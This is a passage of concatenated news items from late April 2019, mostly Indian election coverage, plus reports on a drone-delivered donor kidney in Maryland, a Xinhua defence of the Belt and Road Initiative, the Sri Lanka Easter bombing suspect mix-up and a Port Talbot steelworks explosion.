farmers' distress NCP's Nawab Malik is happy at Raj Thackeray's efforts to rally support for the Opposition. "See, he's exposing the lies of the government, the BJP and PM Modi. This is good and will be welcomed by all those who want truth and probity in public life," Malik told IANS. State Congress Vice-President Ratnakar Mahajan said for Raj Thackeray, "it's a kind of a self-cleansing exercise since he was once a diehard fan of Modi and Gujarat model of development" in 2014. "He has realized, maybe belatedly, how the BJP government played a fraud on the people in past five years. We have been exposing them continuously since demonetization and also play audios-videos of their fake claims in our party training camps," Mahajan told IANS. By PTI JABALPUR: Prime Minister Narendra Modi Friday said opposition leaders are in a race to support Pakistan on the issue of military operations against terror camps in the neighbouring country. Addressing an election rally here, he said after completion of voting in more than 300 Lok Sabha seats, his opponents have accepted that there is a (Modi) "wave" and have bowed before it. Modi told the gathering that their votes in favour of the BJP in 2014 made India strong and forced the world to look at the country with a different perspective. "Your one vote has made the country strong and changed the outlook of the world towards India in the last five years," Modi said. The PM said the opposition has always stood against India's stance on key issues with other countries. "They always stood in opposition to the country's stand. Opposition leaders are in a race to support Pakistan on the issue of surgical strike, air strike or Doklam dispute (with China in 2017)," he said. Speaking on the issue of terrorism, Modi said military operations against terror camps launched under his watch were just "trailer". FOLLOW OUR FULL ELECTION COVERAGE HERE "India is changing now. We have killed them (terrorists) by entering into their den. And whatever we have done is just a trailer, a sample. We have to wipe out terrorism from its roots," the prime minister said. Modi said after the end of three phases of Lok Sabha polls, covering 303 seats, it is clear which way people have voted. "The mandate for 300 seats is in. Those who were saying there was no wave, have now realised (that public opinion in favour of the BJP) and have now bowed before it," the prime minister said. "The people who were competing in hurling abuses at Modi some time ago have been defeated and silenced with the wave of development sweeping the country," he added. "This silence means `Phir Ek Baar' and people shouted 'Modi Sarkar' (the BJP's tag line for the 2019 elections)," Modi said, repeating the slogan two more times. "A sea of people undeterred by the scorching heat have gathered here. This shows they have joined hands for a building a new India," he said, pointing to the large crowd gathered at the rally. Justifying the 2016 demonetisation, Modi said it unearthed "huge" black money. "They ran a smear campaign against me and did not miss a chance to misguide people. Remember our exercise against black money and corruption unearthed ill-gotten money hidden under pillows and beneath the walls," he said. Modi admitted the note-ban exercise had caused inconvenience to people. "I had told publicly that my decision (note ban) was not an easy one and will cause inconvenience. The entire nation stood by my side except a handful of people," he said. "It caused such a pain to the Congress that its tears haven't dried yet," Modi said. Modi said his government implemented the Goods and Services Tax (GST) in larger public interest and to boost the nations tax collection. "The Congress mentioned about implementing the GST regime three times its manifesto but couldn't do so as it lacked (political) will," he added. The rally was organised in support of BJP Lok Sabha candidate from Jabalpur Rakesh Singh, who is the sitting MP from the seat. Singh is also Madhya Pradesh BJP president. Madhya Pradesh, which has 29 Lok Sabha seats, will vote in four phases starting from April 29. Santwana Bhattacharya By Rosogolla, but no votes! Who else can that gem come from but Mamata Banerjee? The Bengalis love for the rosogolla is proverbial. Except when its associated with performancethere it connotes a big zero! Just like motta (egg) in the south. But unlike the egg, the rosogolla has a doubly delicious ironyits auspicious and a big nought at the same time. A Bengali mother will distribute rosogollas when her son does well, but also scare him about getting only rosogollas if he fails to focus on his studies, especially math! Since much is being made about poll math these days, Mamatas allusion is loaded with a mirthy edge. A rajbhoj (a Bengali sweet of same genre, with a more elevated status) carries no such connotation! Why are sweets being thrown around in the midst of heavy-duty electoral slanging matches? Well, because the prime minister did a little political expose on Mamata in an apolitical interview, filled with mango talk, to Hindi film star Akshay Kumar. A tongue-in-cheek Narendra Modi told Akshay that Didi sends him sandesh (yet another Bengali sweet!) and kurtas twice or thrice a year and that hes making this public despite knowing it may hurt him or the BJP electorally! Mamata, sure enough, was livid and issued her rosogolla jibe forthwith. Were voters listening? Well know on May 23. But why did the astute Modi want to hint at a kind of underlying bonhomie thats nowhere visible in the bitter political fight for the 42 Lok Sabha seats in Bengal? Particularly after he had virtually opened his previous interviewa political one, to two anchors of a friendly English news channelon the bloodbath taking place in Bengals booths. Raktaranjita was how he had described, in evocative Tagorean language, the first two phases of polling. The BJP has invested big in Bengal, with Modi and Amit Shah leading the charge. Perceptionally, its paying off. Depending on who one speaks toa middle-class, upper-caste Calcuttan, an NGO activist in the hinterland, officials in unofficial conversations, or the hoi polloi, the BJP could be doing exceptional well, i.e. picking up 8-10 seats, or a more reasonable 2-3. All agree, though, that the Trinamool tally wont dip below 30 and not exceed 34-35. All perceptional conjectures. Mamata anyway is going for the jugular to max her share of 42. The Left is still not out of the ICU, though not totally headed towards a rosogolla (zero). Nor has the Congress entirely lost its little foothold in the chickens-neck corridor. But every which way, from Darjeeling up north to 24-Parganas in the south, the TMC is fighting to restrict the rise of BJP. But thats pre-poll warfare. Post-poll could be another story altogether. A Mamata with a sizeable tally under her cotton saree pallu could be as beguiling an ally as she is a ferocious tigress in the election arena. A sandesh from Mamata (in the Hindi sense of a message) could be more than welcome for any bloc trying to form a government after May 23! Hillary Clinton once lamented that a parliamentary system is more conducive to the emergence of women leaders than the American presidential system, citing Indira Gandhi and Theresa May. Quite so. Indian elections have rarely been fought without a few powerful women acting as major influencers. Mamata and Mayawati are filling a void left by Jayalalithaas demise and Sonia Gandhi virtually vacating the centrestage. How they perform, which way they tilt, these are questions laced with a lot of piquant curiosity. They are not only the X-factors, but their stance can shape the next governmentdirectly or in reaction. Right now, the image that prevails is that of Mayawati sharing the dais with her archest rival, Mulayam Singh Yadav, with a namaskar. How is she and her gathbandhan with Mulayams son Akhilesh Yadav faring? If political watchers in UP are to be believed, the (admittedly messy and uneven) pooling of votes has given the BJP hard times in the first three phases. Little wonder Modi is scheduled to have his first ever public meeting in Ayodhya after arriving on the national stage. (While on Hindutva, the blunderbuss Pragya Thakurs Bhopal candidature has not quite transformed into a swing factor.) The consolidation of OBC-Muslim-Dalit votes is also proving a formidable wall for the Congress, Priyanka Gandhis presence notwithstanding. How Mayawatis BSP fares would be fascinating to watchits a battle for parliamentary survival (remember her 2014 tally of zero, despite a healthy voteshare). But whether the SP-BSP coalition sticks together post-poll is the real question. The hypothetical scenario of Mayawati bolting from the alliance is also constrained by the next assembly polls in UP, where she has bigger stakes. For a person of prime ministerial ambitions, Mayawati has never really been party to a government in the Centreand has been on the wrong side of the equation there for a decade. By 2022, she would be out of power in UP too for a decade. Too long a dry patch. What would help her rise from this void? Mamata, on the other hand, is numero uno in Bengal, but her future equations arent very different. What can help her parlay off her national stature into retaining her pre-eminence in Bengal in 2021? Rosogollas for the right answer. Santwana Bhattacharya Resident Editor, Karnataka Email: santwana@newindianexpress.com S Viswanath By Express News Service VIJAYAWADA: Chief Minister and TDP supremo N Chandrababu Naidu, who spent busy time during elections and also kept himself occupied after polls with the task of fighting against Electronic Voting Machines (EVMs) and also campaigning in other States in support of the non-BJP parties, took a break and left for Himachal Pradesh on Friday, along with his family members. Sources in the TDP said that Naidu at one point of time decided to cancel his tour and remain in the capital city so as to monitor the cyclonic storm, which is expected to have an impact on the South Coastal districts of the State. With the Election Commission restricting him from holding reviews citing the Model Code of Conduct, he left for Himachal Pradesh as per the suggestion of the party leaders. However, Naidu hinted at returning to the State at any time in case of any cyclone damage, sources added. FOLLOW OUR FULL ELECTION COVERAGE HERE Opposition Leader and YSRC chief YS Jagan Mohan Reddy who already went to Switzerland for vacation on April 22, will return to AP on Saturday. CM to stage dharna in Delhi Naidu, who already visited Karnataka, Tamil Nadu and Maharashtra supporting the non-NDA parties and also highlighting failure of EVMs in the elections in AP, is planning to stage a protest in Delhi demanding transparency in conduct of polls, after returning from HP. TDP spokesperson Lanka Dinakar said that the protest is likely to be organised in Delhi in the first week of May. Ramesh Babu G By Express News Service SRIKAKULAM: Twenty-two fishermen from Srikakulam and Vizianagaram districts, who were captured by Pakistani Coast Guard for venturing into their waters on the night of November 28 last year, want their family members to take up the issue of their release from the Pakistan prison with elected representatives. Take our issue to the notice of our MLA, MP and the Chief Minister, whenever he visits our district, two of the fishermen, who have been lodged in a Karachi prison, have written to their family members in K Matsalesam of Etcherla mandal. The family members were plunged into grief after receiving the letters on Thursday. They, however, felt a little bit relieved learning from the letters that the captured fishermen from the two districts were safe and not being subjected to ill-treatment by the prison authorities. The 22 fishermen were apprehended and their boats - Kajal, Kusum and Annapurna - seized when they were fishing in the Arabian sea near Veraval in Gujarat.Ganagalla Rama Rao, one of the captured fishermen, in his letter to his wife Nukamma, who was seven months pregnant at the time of his capture, said: I am fine here and hope all of you are fine there. Take care of the two children. In the photostat copy of the ration card I carried, my name is not clearly visible. Send photostat copies of the ration card and Aadhaar along with your letter next time. In the letter, Rama Rao asked his in-laws also to take care of his children. He mentioned the names of some villagers and asked them to take up the issue of their release from Pakistan jail with the local MLA, MP and also the Chief Minister. Kesam Yerraiah, another fisherman from the same village, in his letter to his parents, Kesam Lakshmana Rao and Lakshmi, also reiterated the same points and urged them to put pressure on the government to get us released. Stating they were fine, they, however, complained that they were not getting postcards frequently enough to write home. Getting one or two postcards in the prison is very difficult, they lamented. About 22 fishermen from K Matsalesam, D Matsalesam, Totapalem of Etcherla mandal, Dammalaveedhi of Srikakulam from Srikakulam district and Tippavalasa of Vizianagaram were apprehended by Pakistan officials after they accidentally entered into its territorial waters on November 28, last year. Of the 22, five are from Tippavalasa of Vizianagaram district while 15 are from Srikakulam district. The address of the two other fishermen is yet to be found. I went into a state of depression after receiving the letter from my husband. I could not eat since morning, said Nukamma, wife of Rama Rao. On coming to know about the letter, the relatives in the village of the fishermen languishing in the Pakistan jail as well as from the surrounding areas trooped to Nukammas house. Though they said they were fine, we could not trust the contents of the letter. We have written two letters, but they have never reached them, she said. We also sent the documents they wanted along with earlier letters. As political leaders as well as officials have been busy with elections for the last two months, no one bothered about our pain, she rued. Nukamma said that they would stage a protest if the government fails to take action on the issue in the next few days. Hemant Kumar Rout By Express News Service SAHABAJIPUR (ODISHA-WB BORDER): For the last four elections Bijay Jena of Sankhamedi village has been casting his votes in both Odisha and West Bengal. It may well be considered unlawful, but since the election dates in the two States differ, Jena and others did not face any difficulty in exercising their franchise twice. This time, however, the residents of the disputed village on Odisha-West Bengal border under Balasore district have vowed not to vote in the neighbouring state. Reason: West Bengals highhanded attempts to encroach on Odisha land and a portion of Talasari beach, a popular tourist attraction.The villagers claimed the district administration of Digha has attempted at least eight times to encroach vast land along the sea coast and take control of border roads besides a forest bit house despite strong protest from the locals. Not only Jena, more than 1200 voters of Sankhamedi, Sahabajipur, Bajitpur, Dakhinasarisa, Udaypur and Mundabania villages located on Odisha and WB border have dual voter identity cards. These six villages are merged into three and mentioned as Podhima, Mundala and Duttapur in WB revenue records. While the residents speak both in Odia and Bengali, the local markets here have strong influence of Bengali, which they use as first language. They cast votes in Lok Sabha, Assembly and Panchayat elections in Bhogarai constituency of Odisha while in WB they are constituents of Kanthi Lok Sabha seat and Ramnagar Assembly segment. While the polling in Bhogarai is on April 29, Kanthi Parliamentary constituency will go to polls on May 12. FOLLOW OUR ELECTION COVERAGE HERE Though the political parties from Ramnagar have been intensively campaigning here, we have decided not to participate in their elections as they are trying to encash the opportunity to lure us so that they can take control of our land. Enough is enough, said Jena. Even as the residents get benefits from the candidates from both the States, literally they are in no-mans land. They plead their identity crisis, as they dont have residential certificates. Though Sankhamedi village is in the block record of Bhogarai, it has no mention in the tehsil record. The residents claim no official has come to their village to take land revenue since 1983. Shyamasundar Ghadei of Sahabajipur said earlier his house was in Odisha part, but when the Digha administration forcibly acquired a vast patch of land to construct a bus stand, he came under the neighbouring State. Slowly and steadily the WB revenue officials are ensuring that the border villages are made part of it. They have started collecting land revenue and constructing roads. They also have electrified parts of a few villages, he said. Odisha has about 38 villages, including 35 of Balasore and rest Mayurbhanj that share border with WB. The border villages depict a picture of neglect as barring a few, many are deprived of benefits under several Government schemes. Though we have been urging the Odisha Government to consider us as residents and issue the residential certificates, no step has been initiated yet. The WB people only come during elections and lure, but thereafter they humiliate us, said Sudhakar Mandal, another villager. Balasore collector Ramesh Chandra Rout feigned ignorance about the dual voting. He, however, admitted that some villages have disputes with WB. An oversight committee headed by a retired judge of Jharkhand has been formed to solve the issue. As per its instruction, officials have been nominated by both the States to go for joint demarcation of land. The process will be intensified once the election process is over, he added. By Express News Service BHUBANESWAR: As campaign for the fourth and last phase of polls in Odisha scheduled on April 29 intensified, Chief Minister and BJD supremo Naveen Patnaik on Thursday reiterated that Odisha will play an important role in government formation at the Centre as no national party is going to get a majority. Situation has become clear after the third phase polls and no national party will get a majority at the Centre, the Chief Minister said addressing a series of election meetings in Mayurbhanj district. Odisha will play a big role in government formation, he said. Targeting Union Minister Dharmendra Pradhan without naming him, Naveen said an Odia minister at the Centre had opposed the establishment of Pandit Raghunath Murmu medical college at Baripada. The State Government set up the medical college after taking permission from the empowered committee of the Supreme Court, he said and added that the State provided 80 per cent of the funds for the project. Contribution from the Centre for establishment of the medical college was only 20 per cent, he added. The same Odia Central minister had also opposed the Aahar scheme through which meals are being provided to lakhs of people, Naveen said and asked, What kind of politics is this. Alleging that the Centre also stopped scholarship of the SC/ST students, he asked, Is self-interest more important than welfare of the people? Stating that the BJP led Central government had neglected Mayurbhanj, the Chief Minister said there has not been any extension of railway network in the district. The people of Mayurbhanj district will give a fitting reply to this, he said. FOLLOW OUR ELECTION COVERAGE HERE Criticising the Centre for trying to stop the KALIA scheme which has so far benefitted 40 lakh farmers in the State, he said, Nobody can stop this till I am alive. Similarly, women in Odisha will get health assurance of ` 10 lakh under the Biju Swasthya Kalyan Yojana compared to ` five lakh under the Central scheme, he said. Alleging that BJP leaders never remember Odisha during its hard times, the Chief Minister said Prime Minister Narendra Modi visited the State frequently because of elections. University of Maryland first to use unmanned aircraft to deliver kidney for transplant BALTIMORE and COLLEGE PARK, MD -- In a first-ever advancement in human medicine and aviation technology, a University of Maryland unmanned aircraft has delivered a donor kidney to surgeons at the University of Maryland Medical Center (UMMC) in Baltimore for successful transplantation into a patient with kidney failure. This successful demonstration illustrates the potential of unmanned aircraft systems (UAS) for providing organ deliveries that, in many cases, could be faster, safer, and more widely available than traditional transport methods. The momentous flight on April 19, 2019 was a collaboration between transplant physicians and researchers at the University of Maryland School of Medicine (UMSOM) in Baltimore; aviation and engineering experts at the University of Maryland (UMD); the University of Maryland Medical Center; and collaborators at the Living Legacy Foundation of Maryland (The LLF). "This major advance in human medicine and transplantation exemplifies two key components of our mission: innovation and collaboration," said E. Albert Reece, MD, PhD, MBA, Executive Vice President for Medical Affairs, UM Baltimore, and the John Z. and Akiko K. Bowers Distinguished Professor and Dean, University of Maryland School of Medicine. "Innovation is at the heart of our focus on accelerating the pace and scope of discovery, where research can rapidly transform medicine. At the same time, collaboration is the key to our success in providing discovery-based medicine - both in conducting research and in delivering the highest quality patient care." The kidney recipient, a 44-year-old woman from Baltimore, who spent eight years on dialysis before undergoing the transplant procedure, said, "This whole thing is amazing. Years ago, this was not something that you would think about," she said. She was discharged from UMMC on Tuesday. "For more than 25 years, the University of Maryland Medical Center has provided cutting-edge care in organ transplantation," said Mohan Suntha, MD, MBA, President and CEO of the University of Maryland Medical Center in Baltimore. "Our Transplant Program cares for patients who come from our local community, the state and the nation, many of whom have been turned away at other hospitals, because we have the skill, talent and knowledge to advance even the most complex transplant cases, often times not just improving but saving lives." Maryland faculty and researchers believe this prototype organ transport blazes a trail for the use of UAS to expand access to donated organs, improving outcomes for more people in need of organ transplants. "As a result of the outstanding collaboration among surgeons, engineers, the Federal Aviation Administration (FAA), organ procurement specialists, pilots, nurses, and, ultimately, the patient, we were able to make a pioneering breakthrough in transplantation," said Joseph Scalea, MD, assistant professor of surgery at UMSOM, project lead, and one of the surgeons who performed the transplant at UMMC. Among the many technological firsts of this effort include: a specially designed, high-tech apparatus for maintaining and monitoring a viable human organ; a custom-built UAS with eight rotors and multiple powertrains to ensure consistently reliable performance, even in the case of a possible component failure; the use of a wireless mesh network to control the UAS, monitor aircraft status, and provide communications for the ground crew at multiple locations; and aircraft operating systems that combined best practices from both UAS and organ transport standards. "We had to create a new system that was still within the regulatory structure of the FAA, but also capable of carrying the additional weight of the organ, cameras, and organ tracking, communications, and safety systems over an urban, densely populated area--for a longer distance and with more endurance," said Matthew Scassero, MPA, director of UMD's UAS Test Site, part of A. James Clark School of Engineering. "There's a tremendous amount of pressure knowing there's a person waiting for that organ, but it's also a special privilege to be a part of this critical mission." Prior to this landmark organ delivery flight, the Maryland partners worked together to develop and test the UAS by first successfully transporting saline, blood tubes, and other materials, and then by transporting a healthy, but nonviable, human kidney. These test flights were preceded in 2016 by the state of Maryland's first civil unmanned aerial delivery of simulated medical cargo, a collaborative effort between UMD's UAS Test Site and the University of Maryland Shore Regional Health in Easton, Maryland, to illustrate how the use of UAS could radically change medical care and impact the lives of real people. Advancing Transplantation through UAS Transport Transportation logistics are often the most complicated part of the organ transplant process--and how long an organ remains viable throughout travel is a major issue. Transport methods typically involve expensive chartered flights or rely on variable commercial flights, and occasionally result in an organ left on a plane or other delays that destroy the organ's viability. These current transport methods also don't adequately cover many parts of the county, such as rural or geographically remote areas, which limits access in these areas both to organ donations and organ transplants. According to the United Network for Organ Sharing, which manages the organ transplant system in the United States, in 2018 there were nearly 114,000 people on waiting lists for an organ transplant; about 1.5 percent of deceased donor organ shipments did not make it to the intended destination; and nearly four percent of organ shipments had an unanticipated delay of two or more hours. "There remains a woeful disparity between the number of recipients on the organ transplant waiting list and the total number of transplantable organs. This new technology has the potential to help widen the donor organ pool and access to transplantation," said Scalea. "Delivering an organ from a donor to a patient is a sacred duty with many moving parts. It is critical that we find ways of doing this better." Beating the organ transplant clock is a key responsibility of U.S. organ procurement organizations, including project collaborator, The LLF. "The University of Maryland UAS project is incredibly important," said Charlie Alexander, Chief Executive Officer of The LLF, noting that the work is at the proof-of-concept stage. "If we can prove that this works, then we can look at much greater distances of unmanned organ transport. This would minimize the need for multiple pilots and flight time and address safety issues we have in our field." Designing a UAS Organ Delivery System To create a UAS designed to carry an organ and provide real-time monitoring of its condition, Scalea partnered with several medical technology companies to design and develop the Human Organ Monitoring and Quality Assurance Apparatus for Long-Distance Travel (HOMAL; patent pending). It measures and maintains temperature, barometric pressure, altitude, vibration, and location (via GPS) during transportation and transmits the information to the smartphones of transplant personnel. The needed unmanned aircraft and operating systems were designed by UMD UAS Test Site engineers to meet the rigid medical, technical, and regulatory demands of carrying a donor organ for human transplantation. "We built in a lot of redundancies, because we want to do everything possible to protect the payload," said Anthony Pucciarella, director of operations at the UMD UAS Test Site. These safeguards included backup propellers and motors, dual batteries, a backup power distribution board, and a parachute recovery system (in case the entire aircraft fails). "This history-making flight not only represents a breakthrough from a technological point of view, but provides an exemplary demonstration of how engineering expertise and ingenuity ultimately serve human needs - in this case, the need to improve the reliability and efficiency of organ delivery to hospitals conducting transplant surgery," said Darryll J. Pines, Ph.D., dean of the A. James Clark School of Engineering and Nariman Farvardin Professor of Aerospace Engineering. "As astonishing as this breakthrough is from a purely engineering point of view, there's a larger purpose at stake. It's ultimately not about the technology; it's about enhancing human life." ### DISCLOSURE: Dr. Scalea is founder of a private data analytics company, Transplant Logistics and Informatics. Funding for this research was provided by the Maryland Technology Development Corporation (TEDCO) with additional resources from the UAS Test Site, UMSOM, UMMC, the University of Maryland, Baltimore, Office of Technology Transfer, and the City of Baltimore REFERENCES: 1. Scalea et al. Am J Transplant. 2019 Mar;19(3):962-964 2. Scalea et al. IEEE J Transl Eng Health Med. 2018 Nov 6;6:4000107 About the University of Maryland School of Medicine Now in its third century, the University of Maryland School of Medicine (UMSOM) was chartered in 1807 as the first public medical school in the United States. It continues today as one of the fastest growing, top-tier biomedical research enterprises in the world--with 43 academic departments, centers, institutes, and programs and a faculty of more than 3,000 physicians, scientists, and allied health professionals, including members of the National Academy of Medicine and the National Academy of Sciences and a distinguished recipient of the Albert E. Lasker Award in Medical Research. With an operating budget of more than $1 billion, UMSOM works closely in partnership with the University of Maryland Medical Center and Medical System to provide research-intensive, academic, and clinically-based care for more than 1.2 million patients each year. UMSOM faculty, which ranks as the 8th highest among public medical schools in research productivity, is an innovator in translational medicine, with 600 active patents and 24 start-up companies. The School works locally, nationally, and globally, with research and treatment facilities in 36 countries around the world. Visit: medschool.umaryland.edu About the University of Maryland Medical Center The University of Maryland Medical Center (UMMC) is comprised of two hospitals in Baltimore: an 800-bed teaching hospital - the flagship institution of the 14-hospital University of Maryland Medical System (UMMS) - and a 200-bed community teaching hospital, UMMC Midtown Campus. UMMC is a national and regional referral center for trauma, cancer care, neurosciences, cardiac care, diabetes and endocrinology, women's and children's health, and has one of the largest solid organ transplant programs in the country. All physicians on staff at the flagship hospital are faculty physicians of the University of Maryland School of Medicine. At UMMC Midtown Campus, faculty physicians work alongside community physicians to provide patients with the highest quality care. UMMC Midtown Campus was founded in 1881 and is located one mile away from the University Campus hospital. For more information, visit http://www. umm. edu . About the University of Maryland The University of Maryland, College Park is the state's flagship university and one of the nation's preeminent public research universities. A global leader in research, entrepreneurship and innovation, the university is home to more than 40,000 students,10,000 faculty and staff, and 280 academic programs. As one of the nation's top producers of Fulbright scholars, its faculty includes two Nobel laureates, three Pulitzer Prize winners and 57 members of the national academies. The institution has a $1.9 billion operating budget and secures $514 million annually in external research funding. For more information about the University of Maryland, College Park, visit http://www. umd. edu . This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. BEIJING, April 25 (Xinhua) -- Six years on, it has been no easy task for the Belt and Road Initiative (BRI) to evolve from a Chinese proposal to a platform that has bonded more than 150 countries and international organizations for common development. Groundless criticism keeps arising. In one of the accusations, the BRI was depicted as a form of "debt trap diplomacy," through which China intended to bend debtor countries to its will by burdening them with huge infrastructure loans. However, no country has claimed being enmeshed by BRI-related financing from China. Nor did any BRI project incur a systemic debt problem in its host country. When it comes to debt sustainability, there are many variables to be scrutinized, not just the public debt-to-GDP ratio, an indicator of overall debt levels. An analysis of one country's debt portfolio can reveal whether there is a single dominant creditor. In addition, the revenue of a debt-financed project reflects the debt servicing capability. Chinese Ambassador to the United States Cui Tiankai has denounced claims that the BRI is a debt trap in an article published Tuesday on Fortune magazine's website. Statistics revealed by Philippine Finance Secretary Carlos Dominguez showed that at the end of 2022, the government's debt to China would only be 4.5 percent of its total, less than half of that to Japan, which would account for 9.5 percent of the total. Sri Lanka's ambassador to China also dismissed the so-called debt trap. Tangible benefits have been delivered by the country's cooperation with China under the BRI. In the Colombo Port City, co-developed by the Sri Lankan government and China's CHEC Port City Colombo (Pvt) Ltd, more than 4,000 jobs have been created for local residents, benefiting thousands of Sri Lankan families. In the future, the project is expected to attract 13 billion U.S. dollars worth of investments within the city. The proof of the pudding is in the eating. None has a bigger say than those who are involved in BRI cooperation. Naysayers may continue to pick faults with bias, but no development opportunities await. The initiative, raised by China, is multinational in nature. More multilateral financial institutions have been attracted to BRI-related financial integration. China's central bank, for instance, has rolled out joint financing programs with the International Finance Corporation under the World Bank Group, Inter-American Development Bank, African Development Bank and the European Bank for Reconstruction and Development. By the end of 2018, these institutions invested in more than 100 programs in over 70 countries and regions. The China-Arab States Bank Consortium and China-Africa Financial Cooperation Consortium were established to boost multilateral financial cooperation. With the launch of the China-EU Joint Investment Fund, the BRI can be better aligned with the Investment Plan for Europe. For years, infrastructure financing has been like a hot potato. Though badly needed and often involving large-scale infrastructure essential for a country's long-term development, such financing tends to have longer loan terms, generate little short-term gains and is thus less welcomed in the financing market. Although global liquidity is generally abundant, there exists a structural imbalance in infrastructure financing, with developing countries facing a huge funding gap. To remedy the situation and effectively channel funds to where they are sorely needed, China launched the Silk Road Fund, which immediately stood out for providing medium- and long-term equity investment to enhance the core capital of large-scale projects. With enhanced credit, these projects have become less vulnerable to risks, and appeal more to lenders and investors. Currently, equity investment takes up more than 70 percent of the financing the Silk Road Fund has promised to provide. The Silk Road Fund also favors public-private partnership in financing cooperation and encouraging private enterprises to collaborate with governments, so as to ease host countries' financing burdens, which might otherwise be too high if depending only on debt financing. Such partnership has proven quite feasible in a hydropower project in Pakistan and a clean coal power plant and solar-thermal power plant in Dubai, Saudi Arabia, according to Silk Road Fund President Wang Yanzhi. When China says it wants to build the world into a community with a shared future, it is not out of geopolitical purpose or ambition to pursue bigger influence as some critics think. It is based on China's development experiences to pursue common prosperity for the people and a genuine aspiration to make the world a better place. In this world full of conflicts and frictions, can this genuine aspiration be well received? We have every reason to be optimistic, as goodwill prevails and great things sell. By IANS CHENNAI: The DMK President M.K. Stalin on Friday said that even as the Pollachi sexual abuse-cum-blackmail case probe is yet to reach a conclusion, a similarly shocking incident in Perambalur district has come to light involving a leader of the ruling AIADMK party. In a statement here, Stalin alleged that the new scandal involves innocent women being lured with the promise of job interviews to lodges where they were sexually abused and also forced to grant sexual favours to an AIADMK leader. Referring to a complaint lodged by Advocate P. Arul with the Perambalur Police, Stalin said the victims were not voicing their trauma for fear of social repercussions. ALSO READ: Pollachi sex abuse case: TTV Dhinakaran questions delay in CBI probe Stalin said the police are trying to do a cover-up operation on the case lodged against the sexual predators. The DMK leader demanded that the state government probe the sexual assault complaint and arrest the culprits. Stalin also said that there would be change of government in the state after May 23, and the new aministration would investigate and take serious action against those officials who watered down the cases against the culprits in the Pollachi and Perambalur sexual abuse scandals. ALSO READ: WhatsApp refused to share details of videos circulated, says TN police By-elections to 22 state assembly constituencies are being held in Tamil Nadu along with the ongoing Lok Sabha polls. According to the complaint lodged by the advocate, a group of men would befriend housewives and college girls, lure them to lodges on the pretext of job interviews, and then sexually assault them. The complaint also said the women victims were videographed and were blackmailed for further sexual favours. The Perambalur All Women Police Station has registered a case in the matter against unknown persons. By Express News Service PUDUKKOTTAI: Two persons, namely Selvakumar (34), son of Ganesan and Vasanth (30), son of Chandrasekar, hailing from Pattukkottai in Thanjavur were arrested for making and spreading a casteist audio clip that sparked off riots in Ponnamaravathi on election day. The two belong to the community they spoke ill of. IG Central Zone V Varadharaju said the audio was released with the intent to consolidate votes in Thanjavur Lok Sabha constituency. But the plan backfired and the fallout was seen in Ponnamaravathi, which falls under Sivaganga parliamentary constituency. Selvakumar works in Singapore and was arrested when he returned here. Varadharaju said the audio was made in Singapore by Selvakumar on the advice of Vasanth. In the audio, two men can be heard speaking ill about the Mutharaiyars. Varadharaju said the audio was made on April 14 in Singapore and circulated here on April 17. On April 18, the clip created unrest in Ponnamaravathi. The next day (April 19), according to the police 2,000 people gathered in front of Ponnamaravathi police station demanding the arrest of those behind making the audio. The protest turned into a riot after police vehicles and buses were damaged and two police officers injured by stone-pelting. This was followed by promulgation of Section 144 in Ponnamaravathi. By AFP COLOMBO: Sri Lankan police have been left red-faced after wrongly identifying a female American Muslim activist as a suspect in the deadly Easter bombings. On Thursday, police issued a flyer with the names and photos of six people -- three men and three women -- wanted in connection with attacks that killed over 250 people. Among those listed was a woman identified as Abdul Cader Fathima Khadhiya, accompanied by a photo of a woman in a headscarf purported to be the individual wanted for questioning. But the photo in fact showed Amara Majeed, an American Muslim whose parents are Sri Lankan immigrants and who penned an open letter to President Donald Trump in 2015 about his rhetoric on Muslims. ALSO READ | Sri Lanka releases pictures of six suspects, including three women, as police intensify search ops "Hello everyone! I have this morning been FALSELY identified by the Sri Lankan government as one of the ISIS Easter attackers in Sri Lanka," Majeed wrote on her Facebook page. "What a thing to wake up to! This is obviously completely false and frankly, considering that Muslim communities are already greatly afflicted with issues of surveillance, I don't need more false accusations and scrutiny." Sri Lankan police on Thursday issued a statement confirming that the photo published alongside the name "Abdul Cader Fathima Khadhiya" was not in fact of the suspect. "The individual pictured is not wanted for questioning," the statement signed by police spokesman Ruwan Gunasekera said. It added that an individual called Abdul Cader Fathima Khadhiya was however still wanted for questioning. The blunder comes after Sri Lankan authorities dramatically revised the death toll in the attacks, from nearly 360 dead to 253. The revision came after authorities said some victims had been "double-counted" because bodies were blown apart in the attacks and misidentified. By PTI LONDON: Two people suffered minor injuries in a pre-dawn explosion at a Tata Steel plant in Port Talbot in Wales, the UK's largest steelworks, police said on Friday as workers' unions called for a full review before production work is resumed. The blast occurred around 0335 GMT, with emergency fire crews rushing to battle the blaze. South Wales Police confirmed that all workers had been accounted for after an explosion from a train carrying molten metal into the works caused "small fires". "Emergency services remain on scene but we have had confirmation that all members of staff are accounted for and there are only two casualties with minor injuries," South Wales Police said in a statement. "Early indications are that the seat of the explosion was a train which carries molten metal into the works. The explosion caused some small fires which are all under control and damage to some buildings on the site, the statement noted. The police said that the local South West Fire and Rescue Service confirmed that there is no need for concerns regarding any "hazardous effects" of the smoke from the fire and that the nearby M4 motorway remains open. Tata Steel confirmed that the fire had been caused by a train carrying molten metal and that an investigation has been launched into the incident. "We can confirm two of our employees were slightly injured when there was a spillage of liquid iron while it was travelling to the steel plant," according to a company statement on Twitter. Both have been released following treatment. "All fires have now been extinguished. A full investigation has begun," it adds. The steel firm said the site had reopened by 0700 GMT and that it was assessing any "potential damage" but workers expressed their concerns. "Our union reps have been in urgent meetings at Port Talbot this morning [Friday] to discuss the incident. They have made it clear to the company that it's important that the time and space is taken to understand how this happened before production is resumed," said a spokesperson for the Community workers' union. "It is important that all appropriate procedures are followed now to ensure lessons are learnt and any necessary changes are implemented," the spokesperson said. The Unite union added that a 'full investigation' was important to ensure action is taken on all recommendations. People living in the area near the steelworks reported that their houses shook with the force of a blast at the site in the early hours of Friday. Sharon Freeguard, a local Port Talbot councillor, said: "I thought I heard about two to three explosions. It was extremely frightening and very, very scary. The house just shook, so it was quite alarming. Once it was over, I did wonder what it was and just did think about the works. We're just all relieved that there are no fatalities." Images on social media show large flames at the site and plumes of smoke. "This incident raises real concerns about safety at the works. It could have been a lot worse. Grateful as always to the emergency services for their rapid and effective response. Tata Steel Europe must conduct a full review, to improve safety," said local MP Stephen Kinnock. The Secretary of State for Wales, Alun Cairns, also called on Tata Steel Europe to address 'safety concerns' that could arise as a result of the incident. India's multinational steel-manufacturer Tata Steel is one of Europe's leading steel producers, with steelmaking in the Netherlands and the UK, and manufacturing plants across Europe. The 